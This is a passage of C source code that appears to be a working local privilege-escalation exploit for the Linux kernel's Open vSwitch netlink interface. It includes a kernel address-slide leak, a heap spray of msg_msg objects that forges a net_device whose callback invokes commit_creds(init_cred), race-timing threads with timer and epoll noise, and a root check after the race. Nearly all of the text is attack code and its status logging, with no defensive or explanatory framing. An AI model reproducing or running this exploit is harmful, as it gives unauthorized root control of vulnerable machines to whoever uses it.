!= (ssize_t)sizeof(ticks)) { fatal_error = 1; stop_flag = 1; break; } __atomic_store_n(&poll_waiters_resident, 0, __ATOMIC_RELEASE); __sync_fetch_and_add(&poll_wait_returns, 1); __atomic_store_n(&sched_preempt_deadline_ns, monotonic_ns() + SCHED_PREEMPT_HOLD_NS, __ATOMIC_RELEASE); __atomic_store_n(&sched_preempt_go, 1, __ATOMIC_RELEASE); futex_wake_all_u32(&sched_preempt_go); while (monotonic_ns() < __atomic_load_n(&sched_preempt_deadline_ns, __ATOMIC_ACQUIRE)) __asm__ volatile("pause"); break; } if (!__atomic_load_n(&sched_preempt_go, __ATOMIC_ACQUIRE)) { __atomic_store_n(&sched_preempt_deadline_ns, monotonic_ns(), __ATOMIC_RELEASE); __atomic_store_n(&sched_preempt_go, 1, __ATOMIC_RELEASE); futex_wake_all_u32(&sched_preempt_go); } for (unsigned int i = 0; i < spinner_active; i++) pthread_join(spinners[i], NULL); close(timer_cluster_fds[0]); return NULL; #else int epfds[TIMER_NOISE_EPOLL_SETS]; int duplicate_fds[TIMER_EPOLL_DUPLICATES]; struct epoll_event drained[TIMER_CLUSTER_FDS]; pthread_t waiters[TIMER_POLL_WAITERS]; struct poll_waiter_arg waiter_args[TIMER_POLL_WAITERS]; int poll_exit_fd = -1; int active; int duplicate_active = 0; int epactive = 0; int i; (void)arg; pin_cpu(0); { struct rlimit limit; rlim_t required = (rlim_t)TIMER_NOISE_EPOLL_SETS + TIMER_EPOLL_DUPLICATES + 64; if (getrlimit(RLIMIT_NOFILE, &limit) < 0 || limit.rlim_max < required) { fprintf(stderr, "TIMER_NOFILE_LIMIT_FAILED required=%llu current=%llu maximum=%llu\n", (unsigned long long)required, (unsigned long long)limit.rlim_cur, (unsigned long long)limit.rlim_max); fatal_error = 1; stop_flag = 1; return NULL; } limit.rlim_cur = required; if (setrlimit(RLIMIT_NOFILE, &limit) < 0) { fprintf(stderr, "TIMER_NOFILE_RAISE_FAILED errno=%d\n", errno); fatal_error = 1; stop_flag = 1; return NULL; } } for (i = 0; i < TIMER_CLUSTER_FDS; i++) { timer_cluster_fds[i] = timerfd_create( CLOCK_MONOTONIC, TFD_CLOEXEC | TFD_NONBLOCK); if (timer_cluster_fds[i] < 0) break; } active = i; if (active == TIMER_CLUSTER_FDS) { for (i = 0; i < TIMER_EPOLL_DUPLICATES; i++) { duplicate_fds[i] = fcntl(timer_cluster_fds[0], F_DUPFD_CLOEXEC, 0); if (duplicate_fds[i] < 0) break; } duplicate_active = i; } for (i = 0; i < TIMER_NOISE_EPOLL_SETS; i++) { int epfd = epoll_create1(EPOLL_CLOEXEC); int j; if (epfd < 0) break; for (j = 0; j < duplicate_active; j++) { struct epoll_event ev = { .events = EPOLLIN, .data.u64 = ((uint64_t)i << 32) | (uint32_t)j, }; if (epoll_ctl(epfd, EPOLL_CTL_ADD, duplicate_fds[j], &ev) < 0) break; } if (j != duplicate_active) { close(epfd); break; } epfds[epactive++] = epfd; } poll_exit_fd = eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK); if (active == TIMER_CLUSTER_FDS && duplicate_active == TIMER_EPOLL_DUPLICATES && epactive >= TIMER_NOISE_EPOLL_MIN_SETS && poll_exit_fd >= 0) { for (i = 0; i < TIMER_POLL_WAITERS; i++) { waiter_args[i].fds = epfds; waiter_args[i].fd_count = epactive; waiter_args[i].exit_fd = poll_exit_fd; waiter_args[i].id = i; if (pthread_create(&waiters[i], NULL, timer_poll_waiter_fn, &waiter_args[i]) != 0) break; } } else { i = 0; } { int waiter_active = i; while (!stop_flag && (__atomic_load_n(&poll_waiters_ready, __ATOMIC_ACQUIRE) < waiter_active || __atomic_load_n(&poll_waiters_resident, __ATOMIC_ACQUIRE) < waiter_active)) usleep(1000); fprintf(stderr, "timer_noise_fds=%d epoll_sets=%d epoll_duplicates=%d epoll_callbacks=%llu poll_waiters=%d resident=%d poll_slots=%d poll_callbacks=%llu persistent_exit_event=%d dynamic_oneshot=1 arm_ns=%llu lead_source=immediate_send rearm_gate=stable_resident stable_ns=%llu policy=SCHED_OTHER nice=19 policy_source=proc_thread_self_stat scheduler_policy_syscalls=0 policy_ok=%u policy_errors=%u nice_set_errors=%u proc_read_errors=%u proc_parse_errors=%u policy_mismatches=%u nice_mismatches=%u\n", active, epactive, duplicate_active, (unsigned long long)epactive * duplicate_active, waiter_active, __atomic_load_n(&poll_waiters_resident, __ATOMIC_RELAXED), TIMER_POLL_SLOTS, (unsigned long long)waiter_active * TIMER_POLL_SLOTS, poll_exit_fd >= 0, (unsigned long long)TIMER_CLUSTER_ARM_NS, (unsigned long long)TIMER_REARM_STABLE_NS, __atomic_load_n(&poll_waiter_policy_ok, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_nice_set_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_proc_read_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_proc_parse_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_mismatches, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_nice_mismatches, __ATOMIC_RELAXED)); if (active != TIMER_CLUSTER_FDS || duplicate_active != TIMER_EPOLL_DUPLICATES || epactive < TIMER_NOISE_EPOLL_MIN_SETS || waiter_active != TIMER_POLL_WAITERS || poll_exit_fd < 0 || __atomic_load_n(&poll_waiter_policy_ok, __ATOMIC_ACQUIRE) != TIMER_POLL_WAITERS || __atomic_load_n(&poll_waiter_policy_errors, __ATOMIC_ACQUIRE)) { fprintf(stderr, "TIMER_RESOURCES_FAILED fds=%d/%d duplicates=%d/%d epoll=%d/%d waiters=%d/%d exit_event=%d policy_ok=%u policy_errors=%u nice_set_errors=%u proc_read_errors=%u proc_parse_errors=%u policy_mismatches=%u nice_mismatches=%u\n", active, TIMER_CLUSTER_FDS, duplicate_active, TIMER_EPOLL_DUPLICATES, epactive, TIMER_NOISE_EPOLL_SETS, waiter_active, TIMER_POLL_WAITERS, poll_exit_fd >= 0, __atomic_load_n(&poll_waiter_policy_ok, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_nice_set_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_proc_read_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_proc_parse_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_mismatches, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_nice_mismatches, __ATOMIC_RELAXED)); fatal_error = 1; stop_flag = 1; } __atomic_store_n(&timer_cluster_ready, 1, __ATOMIC_RELEASE); while (!stop_flag) { for (i = 0; i < epactive; i++) { int n = epoll_wait(epfds[i], drained, TIMER_CLUSTER_FDS, 0); if (n > 0) __sync_fetch_and_add(&epoll_drained_events, (unsigned long long)n); } usleep(1000); } futex_wake_all_u32((volatile unsigned int *)&stop_flag); if (poll_exit_fd >= 0) { uint64_t one = 1; ssize_t written; do { written = write(poll_exit_fd, &one, sizeof(one)); } while (written < 0 && errno == EINTR); if (written != (ssize_t)sizeof(one)) fprintf(stderr, "TIMER_EXIT_EVENT_FAILED result=%d\n", errno); } for (i = 0; i < waiter_active; i++) pthread_join(waiters[i], NULL); } while (epactive-- > 0) close(epfds[epactive]); while (duplicate_active-- > 0) close(duplicate_fds[duplicate_active]); while (active-- > 0) close(timer_cluster_fds[active]); if (poll_exit_fd >= 0) close(poll_exit_fd); return NULL; #endif } static void *sprayer_fn(void *arg) { struct spray_msg { long type; uint8_t data[SPRAY_LEN]; } payload, drain; int queues[SPRAY_QUEUES]; uint8_t *segment = payload.data + MSG_FIRST_DATA; uint64_t fake_ops = known_page + ANCHOR_OPS; uint64_t init_net = KERNEL_BASE + kernel_slide + OFF_INIT_NET; uint64_t init_cred = KERNEL_BASE + kernel_slide + OFF_INIT_CRED; uint64_t commit_creds = KERNEL_BASE + kernel_slide + OFF_COMMIT_CREDS; uint64_t failing_dev = known_page + ANCHOR_FAILING_DEVICE; int i; pin_cpu(*(unsigned int *)arg); if (SPRAYER_NICE >= 0 && setpriority(PRIO_PROCESS, 0, SPRAYER_NICE) < 0) { fprintf(stderr, "SPRAYER_NICE_FAILED value=%d error=%d (%s)\n", SPRAYER_NICE, errno, strerror(errno)); fatal_error = 1; stop_flag = 1; return NULL; } memset(&payload, 0, sizeof(payload)); payload.type = 1; /* * The second msg_msg segment is a 3008-byte GFP_KERNEL_ACCOUNT * allocation in kmalloc-cg-4k. Its first eight bytes are the kernel's * next pointer; bytes from +8 onward are our message data. Thus segment * data offset zero corresponds to net_device offset +8. */ *(uint64_t *)(segment + 0x00) = fake_ops; /* dev->netdev_ops, +0x08 */ *(uint32_t *)(segment + 0x20) = 2; /* real_num_tx_queues, +0x28 */ *(uint32_t *)(segment + 0x30) = 65535; /* mtu, +0x38 */ *(uint32_t *)(segment + 0xa8) = IFF_UP; /* flags, +0xb0 */ *(uint64_t *)(segment + 0x100) = init_net;/* nd_net, +0x108 */ memcpy(segment + 0x118, "fake", 5); /* name, +0x120 */ *(uint16_t *)(segment + 0x210) = 0xfffe; /* ARPHRD_NONE, +0x218 */ /* The stale callback receives the reclaimed net_device address in RDI. * Shape that same object as devcd_entry: the legitimate ENDBR64 function * devcd_dev_release() invokes free(data), hence commit_creds(init_cred), * then performs only NULL-owner, page-local-device and kfree cleanup. */ *(uint64_t *)(segment + DEVCD_DATA - 8) = init_cred; *(uint64_t *)(segment + DEVCD_OWNER - 8) = 0; *(uint64_t *)(segment + DEVCD_FREE - 8) = commit_creds; *(uint64_t *)(segment + DEVCD_FAILING_DEV - 8) = failing_dev; for (i = 0; i < SPRAY_QUEUES; i++) { queues[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0600); if (queues[i] < 0) { int saved_errno = errno; fprintf(stderr, "SPRAY_QUEUE_FAILED created=%d required=%d errno=%d (%s)\n", i, SPRAY_QUEUES, saved_errno, strerror(saved_errno)); while (i-- > 0) (void)msgctl(queues[i], IPC_RMID, NULL); fatal_error = 1; stop_flag = 1; __atomic_store_n(&spray_phase, SPRAY_DRAINED, __ATOMIC_RELEASE); return NULL; } } fprintf(stderr, "SPRAY_READY queues=%d segment_bytes=%d\n", SPRAY_QUEUES, MSG_SEG_DATA + 8); __atomic_store_n(&spray_phase, SPRAY_DRAINED, __ATOMIC_RELEASE); while (!stop_flag) { int phase = __atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE); if (phase == SPRAY_DRAIN_REQUEST) { for (i = 0; i < SPRAY_QUEUES; i++) { for (;;) { ssize_t n = msgrcv(queues[i], &drain, SPRAY_LEN, 0, IPC_NOWAIT | MSG_NOERROR); uint64_t tx_errors; if (n != SPRAY_LEN) break; memcpy(&tx_errors, drain.data + MSG_FIRST_DATA + 0x240, sizeof(tx_errors)); if (tx_errors) { fprintf(stderr, "OVERLAP tx_errors=%llu queue=%d\n", (unsigned long long)tx_errors, i); stop_flag = 1; break; } } } __atomic_store_n(&spray_phase, SPRAY_DRAINED, __ATOMIC_RELEASE); } else if (phase == SPRAY_FILL_REQUEST) { int failed = 0; for (i = 0; i < SPRAY_QUEUES; i++) { if (!msgsnd(queues[i], &payload, SPRAY_LEN, IPC_NOWAIT)) __sync_fetch_and_add(&spray_allocs, 1); else if (!failed) { int saved_errno = errno; fprintf(stderr, "SPRAY_FILL_FAILED queue=%d errno=%d (%s)\n", i, saved_errno, strerror(saved_errno)); failed = 1; } } __atomic_store_n(&race_fill_done_ns, monotonic_ns(), __ATOMIC_RELEASE); __atomic_store_n(&spray_phase, SPRAY_FILLED, __ATOMIC_RELEASE); if (failed) { fatal_error = 1; stop_flag = 1; } } else if (phase == SPRAY_EARLY_FILL_REQUEST) { uint64_t packet_target; uint64_t fill_target; int failed = 0; do { packet_target = __atomic_load_n( &race_packet_target_ns, __ATOMIC_ACQUIRE); if (!packet_target) sched_yield(); } while (!stop_flag && !packet_target); if (stop_flag) continue; fill_target = packet_target + ROW41_EARLY_SPRAY_DELAY_NS; while (!stop_flag && monotonic_ns() < fill_target) __asm__ volatile("pause"); for (i = 0; i < SPRAY_QUEUES; i++) { if (!msgsnd(queues[i], &payload, SPRAY_LEN, IPC_NOWAIT)) __sync_fetch_and_add(&spray_allocs, 1); else if (!failed) { int saved_errno = errno; fprintf(stderr, "SPRAY_EARLY_FILL_FAILED queue=%d errno=%d (%s)\n", i, saved_errno, strerror(saved_errno)); failed = 1; } } __atomic_store_n(&race_fill_done_ns, monotonic_ns(), __ATOMIC_RELEASE); __atomic_store_n(&spray_phase, SPRAY_FILLED, __ATOMIC_RELEASE); fprintf(stderr, "SPRAY_EARLY_FILLED packet_target_ns=%llu delay_ns=%llu finish_delta_ns=%lld allocs=%d\n", (unsigned long long)packet_target, (unsigned long long)ROW41_EARLY_SPRAY_DELAY_NS, (long long)(__atomic_load_n(&race_fill_done_ns, __ATOMIC_RELAXED) - packet_target), SPRAY_QUEUES); if (failed) { fatal_error = 1; stop_flag = 1; } } else { sched_yield(); } } for (i = 0; i < SPRAY_QUEUES; i++) (void)msgctl(queues[i], IPC_RMID, NULL); return NULL; } static unsigned long long read_link_stat(const char *name, const char *stat) { char path[128]; unsigned long long value = 0; FILE *f; snprintf(path, sizeof(path), "/sys/class/net/%s/statistics/%s", name, stat); f = fopen(path, "r"); if (!f) return 0; if (fscanf(f, "%llu", &value) != 1) value = 0; fclose(f); return value; } static void print_link_state(const char *name) { char path[128]; char value[64] = "?"; FILE *f; snprintf(path, sizeof(path), "/sys/class/net/%s/carrier", name); f = fopen(path, "r"); if (f) { (void)fscanf(f, "%63s", value); fclose(f); } fprintf(stderr, "link %s ifindex=%u carrier=%s ", name, if_nametoindex(name), value); snprintf(path, sizeof(path), "/sys/class/net/%s/operstate", name); f = fopen(path, "r"); strcpy(value, "?"); if (f) { (void)fscanf(f, "%63s", value); fclose(f); } fprintf(stderr, "operstate=%s\n", value); } static void *reader_fn(void *arg) { struct reader_arg *ra = (struct reader_arg *)arg; struct shared *sh = ra->sh; struct nl_sock ovs; pin_cpu(0); if (nl_open_proto(&ovs, NETLINK_GENERIC) < 0) return NULL; while (!stop_flag) { int idx = rand_r(&ra->seed) % BULK_TARGETS; (void)vport_get_name(&ovs, sh->fam_vport, sh->dp_ifindex, sh->names[idx]); try_post_root(); } nl_close(&ovs); return NULL; } int main(void) { struct nl_sock ctrl; struct shared sh; pthread_t wth[WRITERS]; pthread_t rth[READERS ? READERS : 1]; pthread_t sth[SENDERS]; pthread_t gate_th; pthread_t pth[SPRAYERS]; pthread_t timer_th; pthread_t flush_th; pthread_t flush2_th; pthread_t posttimer_th; struct writer_arg wa[WRITERS]; struct reader_arg ra[READERS ? READERS : 1]; struct sender_arg sa[SENDERS]; struct gate_arg ga; unsigned int spray_cpu[SPRAYERS]; struct nl_sock rt; int sprayers_started = 0; int senders_started = 0; int gate_started = 0; int writers_started = 0; int readers_started = 0; int timer_started = 0; int flush_started = 0; int flush2_started = 0; int posttimer_started = 0; int i; int r; signal(SIGINT, on_sig); signal(SIGTERM, on_sig); memset(&sh, 0, sizeof(sh)); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("[+] start uid=%u euid=%u gid=%u egid=%u\n", getuid(), geteuid(), getgid(), getegid()); kernel_slide = leak_image_slide_checked() + FEDORA_IMAGE_EDGE_BIAS; printf("[+] resolved _text slide=%#llx\n", (unsigned long long)kernel_slide); known_page = known_page_anchor(build_known_page, &kernel_slide); enter_user_net_namespace(); r = nl_open_proto(&ctrl, NETLINK_GENERIC); if (r < 0) { fprintf(stderr, "nl_open_proto: %d (%s)\n", r, strerror(-r)); return 1; } sh.fam_dp = resolve_family(&ctrl, OVS_DATAPATH_FAMILY); sh.fam_vport = resolve_family(&ctrl, OVS_VPORT_FAMILY); sh.fam_flow = resolve_family(&ctrl, OVS_FLOW_FAMILY); sh.fam_packet = resolve_family(&ctrl, OVS_PACKET_FAMILY); if (sh.fam_dp < 0 || sh.fam_vport < 0 || sh.fam_flow < 0 || sh.fam_packet < 0) { fprintf(stderr, "resolve_family failed: dp=%d vport=%d flow=%d packet=%d\n", sh.fam_dp, sh.fam_vport, sh.fam_flow, sh.fam_packet); return 1; } packet_family_id = sh.fam_packet; (void)dp_del(&ctrl, sh.fam_dp); r = dp_new_named(&ctrl, sh.fam_dp, DP_NAME); if (r && r != -EEXIST) { fprintf(stderr, "dp_new failed: %d (%s)\n", r, strerror(-r)); return 1; } sh.dp_ifindex = dp_get_ifindex_named(&ctrl, sh.fam_dp, DP_NAME); if (sh.dp_ifindex < 0) { fprintf(stderr, "dp_get_ifindex failed: %d (%s)\n", sh.dp_ifindex, strerror(-sh.dp_ifindex)); return 1; } r = nl_open_proto(&rt, NETLINK_ROUTE); if (r < 0) { fprintf(stderr, "rtnl open failed: %d (%s)\n", r, strerror(-r)); return 1; } r = rtnl_set_up(&rt, (int)if_nametoindex("lo")); if (r) { fprintf(stderr, "loopback up failed: %d (%s)\n", r, strerror(-r)); return 1; } sh.canary_ifindex = (int)if_nametoindex("lo"); if (!sh.canary_ifindex) { fprintf(stderr, "loopback ifindex failed\n"); return 1; } r = rtnl_set_up(&rt, sh.dp_ifindex); if (r) { fprintf(stderr, "datapath up failed: %d (%s)\n", r, strerror(-r)); return 1; } r = rtnl_set_mtu(&rt, sh.dp_ifindex, 576); if (r) { fprintf(stderr, "datapath mtu failed: %d (%s)\n", r, strerror(-r)); return 1; } r = rtnl_add_route(&rt, sh.dp_ifindex); if (r && r != -EEXIST) { fprintf(stderr, "route add failed: %d (%s)\n", r, strerror(-r)); return 1; } for (i = 0; i < FIB_RULES; i++) { r = rtnl_add_rule(&rt, 1000U + (uint32_t)i); if (r && r != -EEXIST) { fprintf(stderr, "rule add failed at %d: %d (%s)\n", i, r, strerror(-r)); return 1; } } for (i = 0; i < BULK_TARGETS; i++) snprintf(sh.names[i], sizeof(sh.names[i]), "g%04x", i); /* Pre-create the first ordinary group member for a target-exact, * non-racing calibration. writer_fn accepts its EEXIST, assigns it to * the same group, closes it, and creates members 2..255 normally. */ r = vport_new_geneve(&ctrl, sh.fam_vport, sh.dp_ifindex, sh.names[0], (uint16_t)BULK_GENEVE_PORT_BASE); if (r && r != -EEXIST) { fprintf(stderr, "FLOW_PHASE_TARGET_FAILED result=%d (%s)\n", r, strerror(-r)); return 1; } r = vport_get_port_no(&ctrl, sh.fam_vport, sh.dp_ifindex, sh.names[0], &sh.target_ports[0]); if (r) { fprintf(stderr, "FLOW_PHASE_PORT_FAILED result=%d (%s)\n", r, strerror(-r)); return 1; } r = calibrate_internal_flow(&ctrl, &sh, sh.target_ports[0]); if (r) { fprintf(stderr, "FLOW_PHASE_FAILED result=%d (%s)\n", r, strerror(-r)); return 1; } fprintf(stderr, "GROUP_ROUTE_READY dp=%d targets=%d group=%u decoys=0 path=internal_flow sweep_phases=%d\n", sh.dp_ifindex, BULK_TARGETS, BULK_LINK_GROUP, FLOW_SWEEP_PHASES); for (i = 0; i < FLOW_SWEEP_PHASES; i++) fprintf(stderr, "GROUP_ROUTE_PHASE phase=%d phase_name=%s prefix_actions=%u target_actions=%u prefix_estimate_ns=%llu margin_ns=%llu selected_lead_ns=%llu\n", i, flow_phase_names[i], flow_prefix_actions[i], EGRESS_METADATA_ACTIONS - flow_prefix_actions[i], (unsigned long long)sh.packet_prefix_estimate_ns[i], (unsigned long long)flow_phase_margin_ns[i], (unsigned long long)sh.packet_lead_ns[i]); { uint64_t populate_start = monotonic_ns(); unsigned int flow_id; r = dp_new_named(&ctrl, sh.fam_dp, DECOY_DP_NAME); if (r && r != -EEXIST) { fprintf(stderr, "DECOY_DP_NEW_FAILED result=%d (%s)\n", r, strerror(-r)); return 1; } decoy_dp_ifindex = dp_get_ifindex_named(&ctrl, sh.fam_dp, DECOY_DP_NAME); if (decoy_dp_ifindex < 0) { fprintf(stderr, "DECOY_DP_GET_FAILED result=%d\n", decoy_dp_ifindex); return 1; } for (flow_id = 1; flow_id <= DECOY_FLOWS; flow_id++) { r = flow_program_decoy(&ctrl, sh.fam_flow, decoy_dp_ifindex, flow_id); if (r) { fprintf(stderr, "DECOY_FLOW_NEW_FAILED id=%u result=%d (%s)\n", flow_id, r, strerror(-r)); return 1; } if ((flow_id & 8191U) == 0) fprintf(stderr, "DECOY_FLOW_PROGRESS created=%u/%u\n", flow_id, DECOY_FLOWS); } fprintf(stderr, "DECOY_FLOWS_READY dp=%d flows=%u populate_ns=%llu\n", decoy_dp_ifindex, DECOY_FLOWS, (unsigned long long)(monotonic_ns() - populate_start)); } #if ROW41_DOUBLE_DECOY_FLUSH { uint64_t populate_start = monotonic_ns(); unsigned int flow_id; r = dp_new_named(&ctrl, sh.fam_dp, DECOY_DP2_NAME); if (r && r != -EEXIST) { fprintf(stderr, "DECOY_DP2_NEW_FAILED result=%d (%s)\n", r, strerror(-r)); return 1; } decoy_dp2_ifindex = dp_get_ifindex_named(&ctrl, sh.fam_dp, DECOY_DP2_NAME); if (decoy_dp2_ifindex < 0) { fprintf(stderr, "DECOY_DP2_GET_FAILED result=%d\n", decoy_dp2_ifindex); return 1; } for (flow_id = 1; flow_id <= DECOY_FLOWS2; flow_id++) { r = flow_program_decoy(&ctrl, sh.fam_flow, decoy_dp2_ifindex, flow_id); if (r) { fprintf(stderr, "DECOY_FLOW2_NEW_FAILED id=%u result=%d (%s)\n", flow_id, r, strerror(-r)); return 1; } } fprintf(stderr, "DECOY_FLOWS2_READY dp=%d flows=%u populate_ns=%llu\n", decoy_dp2_ifindex, DECOY_FLOWS2, (unsigned long long)(monotonic_ns() - populate_start)); } #endif for (i = 0; i < SPRAYERS && !stop_flag; i++) { spray_cpu[i] = 1; r = pthread_create(&pth[i], NULL, sprayer_fn, &spray_cpu[i]); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=sprayer index=%d error=%d (%s)\n", i, r, strerror(r)); fatal_error = 1; stop_flag = 1; break; } sprayers_started++; } if (!stop_flag) { r = pthread_create(&timer_th, NULL, timer_noise_fn, NULL); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=timer error=%d (%s)\n", r, strerror(r)); fatal_error = 1; stop_flag = 1; } else { timer_started = 1; } } if (!stop_flag) { r = pthread_create(&flush_th, NULL, decoy_flusher_fn, &sh); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=decoy_flusher error=%d (%s)\n", r, strerror(r)); fatal_error = 1; stop_flag = 1; } else { flush_started = 1; } } #if ROW41_DOUBLE_DECOY_FLUSH if (!stop_flag) { r = pthread_create(&flush2_th, NULL, decoy_flusher2_fn, &sh); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=decoy_flusher2 error=%d (%s)\n", r, strerror(r)); fatal_error = 1; stop_flag = 1; } else { flush2_started = 1; } } #endif if (!stop_flag) { r = pthread_create(&posttimer_th, NULL, postunreg_timer_fn, &sh); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=postunreg_timer error=%d (%s)\n", r, strerror(r)); fatal_error = 1; stop_flag = 1; } else { posttimer_started = 1; } } for (i = 0; i < ACTIVE_SENDERS && !stop_flag; i++) { sa[i].sh = &sh; sa[i].id = (unsigned int)i; r = pthread_create(&sth[i], NULL, sender_fn, &sa[i]); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=sender index=%d error=%d (%s)\n", i, r, strerror(r)); fatal_error = 1; stop_flag = 1; break; } senders_started++; } if (!stop_flag) { ga.sh = &sh; r = pthread_create(&gate_th, NULL, postsync_gate_fn, &ga); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=postsync_gate error=%d (%s)\n", r, strerror(r)); fatal_error = 1; stop_flag = 1; } else { gate_started = 1; while (!stop_flag && !__atomic_load_n(&gate_thread_ready, __ATOMIC_ACQUIRE)) sched_yield(); fprintf(stderr, "POSTSYNC_GATE_READY canary_ifindex=%d observation=SIOCGIFINDEX_NAME_REMOVAL request=RTM_SETLINK_NOOP deadline_ns=%llu\n", sh.canary_ifindex, (unsigned long long)POSTSYNC_GATE_DEADLINE_NS); } } for (i = 0; i < WRITERS && !stop_flag; i++) { wa[i].sh = &sh; wa[i].idx = i; r = pthread_create(&wth[i], NULL, writer_fn, &wa[i]); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=writer index=%d error=%d (%s)\n", i, r, strerror(r)); fatal_error = 1; stop_flag = 1; break; } writers_started++; } for (i = 0; i < ACTIVE_READERS && !stop_flag; i++) { ra[i].sh = &sh; ra[i].seed = (unsigned int)(time(NULL) ^ (i * 0x9e3779b1U)); r = pthread_create(&rth[i], NULL, reader_fn, &ra[i]); if (r) { fprintf(stderr, "THREAD_CREATE_FAILED role=reader index=%d error=%d (%s)\n", i, r, strerror(r)); fatal_error = 1; stop_flag = 1; break; } readers_started++; } /* Keep the controller off CPU 0 and remove V74's once-per-second wakeup * noise. At expiry, request a stop at the next writer boundary rather * than invalidating an armed consumer as happened in generation 31. */ pin_cpu(1); { uint64_t deadline = monotonic_ns() + (uint64_t)RUN_SECS * UINT64_C(1000000000); while (!stop_flag && monotonic_ns() < deadline) usleep(10000); } if (!stop_flag) { __atomic_store_n(&run_deadline_requested, 1, __ATOMIC_RELEASE); fprintf(stderr, "RUN_DEADLINE_REQUESTED seconds=%d\n", RUN_SECS); while (!stop_flag) usleep(10000); } futex_wake_one_u32(&gate_arm_generation); futex_wake_one_u32(&gate_done_generation); futex_wake_one_u32(&writer_release_generation); futex_wake_all_u32((volatile unsigned int *)&decoy_flush_go); futex_wake_all_u32((volatile unsigned int *)&decoy_flush_started); futex_wake_all_u32((volatile unsigned int *)&decoy_flush2_started); for (i = 0; i < writers_started; i++) pthread_join(wth[i], NULL); if (gate_started) pthread_join(gate_th, NULL); for (i = 0; i < readers_started; i++) pthread_join(rth[i], NULL); for (i = 0; i < senders_started; i++) pthread_join(sth[i], NULL); for (i = 0; i < sprayers_started; i++) pthread_join(pth[i], NULL); if (posttimer_started) pthread_join(posttimer_th, NULL); if (flush2_started) pthread_join(flush2_th, NULL); if (flush_started) pthread_join(flush_th, NULL); if (timer_started) pthread_join(timer_th, NULL); fprintf(stderr, "packets=%llu errors=%llu flow_hits_verified=%llu flow_hit_failures=%llu sweep_phases=%d action_upcalls=%llu final_ops_windows=%llu reclaim_cycles=%llu spray_allocs=%llu stalled_reclaims=%llu inflight_reclaims=%llu straddled_packets=%llu post_sync_broad_windows=%llu postsync_gate_launches=%llu postsync_gate_skips=%llu epoll_drained_events=%llu timer_residency_checks=%llu timer_residency_timeouts=%llu timer_residency_wait_ns=%llu poll_wait_returns=%llu poll_wait_errors=%llu poll_wait_interrupts=%llu policy_ok=%u policy_errors=%u nice_set_errors=%u proc_read_errors=%u proc_parse_errors=%u policy_mismatches=%u nice_mismatches=%u deadline_requested=%d final_resident=%d\n", packets_sent, packet_errors, flow_hits_verified, flow_hit_failures, FLOW_SWEEP_PHASES, action_upcalls, consumer_windows, reclaim_cycles, spray_allocs, stalled_reclaims, inflight_reclaims, straddled_packets, post_sync_broad_windows, postsync_gate_launches, postsync_gate_skips, epoll_drained_events, timer_residency_checks, timer_residency_timeouts, timer_residency_wait_ns, poll_wait_returns, poll_wait_errors, poll_wait_interrupts, poll_waiter_policy_ok, poll_waiter_policy_errors, poll_waiter_nice_set_errors, poll_waiter_proc_read_errors, poll_waiter_proc_parse_errors, poll_waiter_policy_mismatches, poll_waiter_nice_mismatches, (int)run_deadline_requested, __atomic_load_n(&poll_waiters_resident, __ATOMIC_RELAXED)); for (i = 0; i < FLOW_SWEEP_PHASES; i++) fprintf(stderr, "PHASE_SUMMARY phase=%d phase_name=%s prefix_actions=%u target_actions=%u prefix_estimate_ns=%llu margin_ns=%llu selected_lead_ns=%llu launches=%llu gate_skips=%llu residency_skips=%llu straddles=%llu broad=%llu inflight=%llu reclaims=%llu stalled=%llu flow_hits=%llu flow_hit_failures=%llu packet_errors=%llu\n", i, flow_phase_names[i], flow_prefix_actions[i], EGRESS_METADATA_ACTIONS - flow_prefix_actions[i], (unsigned long long)sh.packet_prefix_estimate_ns[i], (unsigned long long)flow_phase_margin_ns[i], (unsigned long long)sh.packet_lead_ns[i], phase_launches[i], phase_skips[i], phase_residency_skips[i], phase_straddles[i], phase_broad_windows[i], phase_inflight[i], phase_reclaims[i], phase_stalled[i], phase_flow_hits[i], phase_flow_hit_failures[i], phase_packet_errors[i]); (void)dp_del(&ctrl, sh.fam_dp); nl_close(&rt); nl_close(&ctrl); return fatal_error ? 1 : 0; }